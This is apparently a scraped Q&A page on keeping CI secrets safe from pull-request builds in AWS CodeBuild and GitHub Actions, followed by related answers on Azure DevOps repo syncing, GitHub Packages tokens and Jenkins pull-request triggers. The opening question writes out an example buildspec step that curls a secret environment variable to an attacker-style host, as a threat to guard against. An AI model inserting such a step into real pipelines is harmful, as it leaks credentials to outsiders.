I have ran into a situation where I have a repo on GitHub that I am looking to make public.
Currently, one of the PR checks runs CI tests on AWS CodeBuild.
Because of the nature of the tests, there are environment variables that contain secrets. The results/logs from the build output will not be public, which is one good thing.
AWS CodeBuild uses the buildspec.yml file to run commands in CI.
If I were to have an environment variable, for example $SECRET_THING, an attacker would be able to simply open a PR, adding to buildspec.yml, for example:
- curl -X POST -d"thesecret=$SECRET_THING" https://mwahahahaha.com/grab_it
Which would then send themselves the secret.
Using either a setting in GitHub, the GitHub checks API or CodeBuild, is there a way that would require manual intervention to run the check, preferably after a code review? (eg. a button clickable only by an authorised collaborator on the PR page)
Don't use plain text environment variable, instead use "env > parameter-store" to store your secret. If you are using CodeBuild's console UI you can create the paramater store entry from "advanced > environment
variables > type: parameter store" https://aws.amazon.com/codebuild/latest/userguide/build-spec-ref.html#build-spec-ref-syntax
Also, CodeBuild allows you to define the buildspec as part of the project. This way the buildspec yml file is not present in your repository.
Note: CodeBuild only allows repo owner or admin to create the webhook.
Update: #Chris CodeBuild supports filter groups for PR builds. Documentation # https://docs.aws.amazon.com/codebuild/latest/userguide/sample-github-pull-request.html#sample-github-pull-request-filter-webhook-events-console. You can filter on the actor to ensure that only trusted collaborators can trigger a build for PR or push events.
Related
I'm building out one of my company project through Github actions, in which we are running the workflow from latest pull request raised. I have notice one thing, whenever it tries to execute the secret from main the repository, its gives error as bad credentials.
Same stage when I tried to run from main repository it works fine. Do We have given some permissions to pull request to call secret from main repository.
Any suggestions will help.
By default, pull-request builds don't get access to the secrets to prevent people from using the pull requests to exfiltrate your secrets through a change that reads the environment and sends the data somewhere else.
Due to the dangers inherent to automatic processing of PRs, GitHub’s standard pull_request workflow trigger by default prevents write permissions and secrets access to the target repository. However, in some scenarios such access is needed to properly process the PR. To this end the pull_request_target workflow trigger was introduced.
See here for additional details:
https://securitylab.github.com/research/github-actions-preventing-pwn-requests/
We have two Azure DevOps Organizations,
1. Development
2. Client
I would like to know if we can synchronize Azure DevOps Repos from one organization (Development) to different organization (Client) in a secure way?
If it is possible, what would be the best way to sync from one organization to another securely?
NOTE: We are able to manually clone the Repo from one to another organization for the first time with the help of PAT and GIT Auth but the problem arises when we want to update or re-sync the code. We have to manually re-import the repo (By deleting the existing one) to make changes.
We need to do this programmatically and to another organization.
Azure DevOps Repos synchronization between Organization
Sorry but as I know there's no such out-of-box feature available in Azure Devops Service.
There're similar user voices here: Sync between projects in same org and Automatically Sync Azure Devops Repos with GitHub Repos. Usually one organization is responsible for one product, so Azure Devops doesn't recommend cross-organization actions. But if you do want this behavior in your scenario, you can use these two directions:
1.Try free Git Tools for Azure Devops extension from Martin Hinshelwood. Some steps about how to use it:
Install it in your Development organization, it contains one Publish Git Repo task.
Create a new classic build pipeline named SyncRepos, add the Publish Git Repo task in it.
(Yaml pipeline also works well, but since this is one pipeline in which only exists one task, classic pipeline is enough)
Configure the task. We only need to configure the git repo url, so it's quite easy.
Assuming the name of same repos in another organization Client is ReposToSync, and this repos is in ProjectA. So the url you should enter in pipeline(in organization Development) should be:
See this: https://anything:PAT#dev.azure.com/Client/ProjectA/_git/ReposToSync.
(You should use a PAT which has repos-related permissions. I used Full Access one to test it easily but it should be much better if you create a PAT scoped in repos permissions. It's more secure !)
Now set the trigger, enable the CI and add all the branches into filter.
Yaml pipeline is better in step4 cause it supports trigger all branches with wildcard *. See this.
Now in Development organization, when I have any change in master and qwe branches, it will automatically trigger the pipeline to run. Then the task will sync the changes in Development's repos with repos in 'Client' organization.
Any change in Development org will start a sync, if you want to same behavior in 'Client', you also need another similar pipeline in 'Client'. And, yaml pipeline with wildcard is better if you want the pipeline to monitor newly created branch.
In additions: Apart from using the task from extension, we can also use git commands in CMD task if you're familiar with those commands.
2.Feel free to post a new feature request to our User Voice forum. If you gets enough votes, the request's priority increases and the team would consider it seriously.
Hope all above helps :)
Update1:
No matter git commands or extension, if we want to make it more secure(avoid using PAT or other secrets directly in task), we can use secrets to store the important info like PAT.
1.See create secret variable in Variable Group, then link the variable group, after that we can use $(MyPat) in task and it won't be displayed in log.
2.Also you can consider using Azure Key Valut. Related doc: Link secrets from an Azure key vault.
Today I tried a way of doing it I found in a blog post and it worked perfectly (and is tremendously easy to do).
Steps:
Create a PAT (personal access token) to your Development organization (I see you already have one so skip this step)
Go to the target repo in the Development organization, click clone and copy the url
In the Client organization import the repository with the url you have copied and with your PAT (same here, I think you already did this so skip this step)
Now clone the repo to your computer from the Client organization and add a remote to the repo in your Development organization. If you don't know about remotes, this page could help: Managing remote repositories
After this, you will be able to push and fetch from the Development organization's repo.
Source: Azure DevOps Fork Repos between two Organization - Michael Ghebremedin
In my node project I would like to use both NPM and Github registries. The reason is that I use some packages as request or async, but I've made my own packages which are stored on Github Packges Registry.
I've tried to add #USERNAME:registry=https://npm.pkg.github.com/ in .npmrc, but I still need an authtoken. There is the problem: as it's for a continuous integration I don't want to use a token linked to a specific user.
So what could I do ?
Edit: I'm using Circle CI for my workflows.
You can use the default GITHUB_TOKEN associated with the repository that your workflow runs in.
If you are using a GitHub Actions workflow, you can use a GITHUB_TOKEN to publish and consume packages in the GitHub Package Registry without needing to store and manage a personal access token.
ref: https://help.github.com/en/github/managing-packages-with-github-package-registry/configuring-npm-for-use-with-github-package-registry#authenticating-to-github-package-registry
If you are not using GitHub Actions and running your build in a different CI tool then I don't think you have any choice but to use a Personal Access Token tied to a user account.
Overview:
I'm using GitHub Pages feature to host documentation. I'm working on a CI/CD process to automate the build so that when the source for the documentation is updated it automatically rebuilds the content and deploys to GitHub Pages.
Details:
So far, using AWS CodeBuild, I've implemented the following:
Pulls down source from GitHub Repo
Uses MkDocs to build and deploy to the special gh-pages branch using the "mkdocs gh-deploy" command.
This is done with command lines in the CodeBuild Buildspec. The reason I'm using commands is that I want to use GitHub Deploy Keys opposed to creating user account (used as a machine account) that my team would need to manage.
I have it all working except what triggers the build. If the process was using a user account to authenticate then I can use AWS CodePipeline which creates a Webhook within the GitHub repo, and then notifications are sent via the Webhook to say that the master branch was updated, which would trigger a new build.
I'd like to implement a similar process but using the GitHub repo's Deploy Key. Any suggestions?
It looks like the GitHubPullRequestBuilder is not compatible with Jenkins v2.0 pipeline jobs.
How do you configure a pipeline job to be triggered from a GitHub pull request event?
The documentation on this topic is sparse and I cannot find any examples of this. Or is it better to create a web-hook in GitHub to trigger the pipeline job on the PR event?
I had similar issue. Here’s what worked for me
Pre-req
Jenkins ver. 2+ (I was using Jenkins 2.60)
Github (or Githhub
enterprise) account
Your github and Jenkins must be able to talk to
each other.
On Github
create a github Personal Access Token (PAT) with relevant rights.
For your repo, create a webhook with
URL as YourJenkinsURL/github-webhook/
Choose ‘Let me select individual events’ and check ‘Pull Request’
Add a Jenkinsfile to the root folder of your repo. For testing purpose you could put content as a basic hello world like below
pipeline {
agent any
stages {
stage('Test') {
steps {
echo 'Hello World ...'
}
}
}
}
On Jenkins
Install GitHub Pull Request Builder plugin. (You also need “Github” plugin but that should normally be installed as part of Jenkins ver 2+)
Jenkins – Credentials
Add github Personal Access Token (PAT) as a ‘secret text’ credential.
Add github username-password as ‘username-password’ credential.
Manage Jenkins – Configure System
Github – Github Servers : This is part of the Github plugin. Add a github server. ‘API URL’ It will default to https://api.github.com. If you are using enterprise github, replace with enterprise github url followed by /api/v3. For credential select the PAT option. Test the connection. ‘Manage Hooks’ is checked.
GitHub Pull Request Builder : for ‘GitHub Server API URL’ use same url as specified in Github Server section. Leave ‘Shared Secret’ blank. For credentials use ‘username-password’ credential. Test credentials to ensure its working. In my settings, ‘Auto-manage webhooks’ was checked.
Pipeline Job
Create a new item using ‘Pipeline’ option. Note: This is the vanilla Pipeline job, not Multibranch Pipeline.
General Section: Check ‘Github Project’ – Project URL : Enter your github repo url
Build Triggers: Check ‘GitHub Pull Request Builder’
For ‘GitHub API credentials’ select option you set for GitHub pull request builder in ‘Manage Jenkins – Configure System’ screen
For admin list: add your username
Check Use github hooks for build triggering
Pipeline:
Select ‘Pipeline Script from SCM’. Note this assumes that the root folder of your repo will contain a ‘Jenkinsfile’
SCM: Select ‘Git’
Repositories – enter repo detail. For credentials use ‘username-password’ based credentials.
Click Advanced and add refspec as +refs/pull/*:refs/remotes/origin/pr/*
Branch – should be ${sha1}
Script Path: defaulted to Jenkinsfile, leave as is.
Lightweight Checkout - Uncheck this (https://github.com/jenkinsci/ghprb-plugin/issues/507)
That’s it. You are all set. Creating a PR on master branch of your repo should now trigger your Jenkins Pipeline job
Some observations
Redelivering the webhook payload of a PR from github does not trigger the pipeline but opening a new PR or even re-opening a closed PR on github, triggers the pipeline job
In Pipeline Job Configuration, if you choose “Pipeline Script” and paste your pipeline script in there, the job doesn't trigger !!!
The flow in a nutshell can go like this:
You create your pipeline as code and save it in a file called Jenkinsfile at the root dir of your project. That code should describe how your project will get built. See here for examples: https://jenkins.io/doc/pipeline/examples/
Then you should create a new "Multibranch Pipeline Project" item in your Jenkins. You should set this up so as to scan your repo of step 1.
Now whenever you get a new PR branch opened on your step 1 repo, the branch will be checked-out and will get built according to the Jenkinsfile instructions included with it. You can set up more conditions on what gets built and when if you want to.
Notes:
"Multibranch Pipeline Project" example documentation: https://jenkins.io/doc/book/pipeline-as-code/ (scroll down to Multibranch Pipeline Projects)
Keep in mind that getting the plugin to build a PR after commending on the PR does not work. There is a discussion analyzing this here: https://github.com/jenkinsci/gitlab-plugin/issues/298 There are workarounds (also described in that discussion) but they are quite messy to set up.
The most straightforward way to use Pipeline with GitHub pull requests is to put the script into your repository under the name Jenkinsfile and then install the GitHub Branch Source plugin. Documentation
Follow the Below Steps for Triggering Jenkins Job Automatically on Pull request generated on GitHub
Create a web hook on GitHub i.e. http:///generic-
webhook-trigger/invoke
Content Type :application/json
Select Pull Request as event Now github Configuration Part is done.
Jenkins Job Configuration
Download Generic Webhook Trigger in Jenkins
Git Hub Configuration On Jenkins
Git Hub Configuration
7.Select Generic Webhook Trigger on jenkins
8.Generic Webhook Trigger Configuration on Jenkinsand follow step 9
9.After doing step 7 Jenkins job will get trigger on PullRequest
10.Step 8 required to get information from Pull request Payload
11.Branch configuration inside Generic Webhook Trigger to get Branch details from Pull Request
Thanks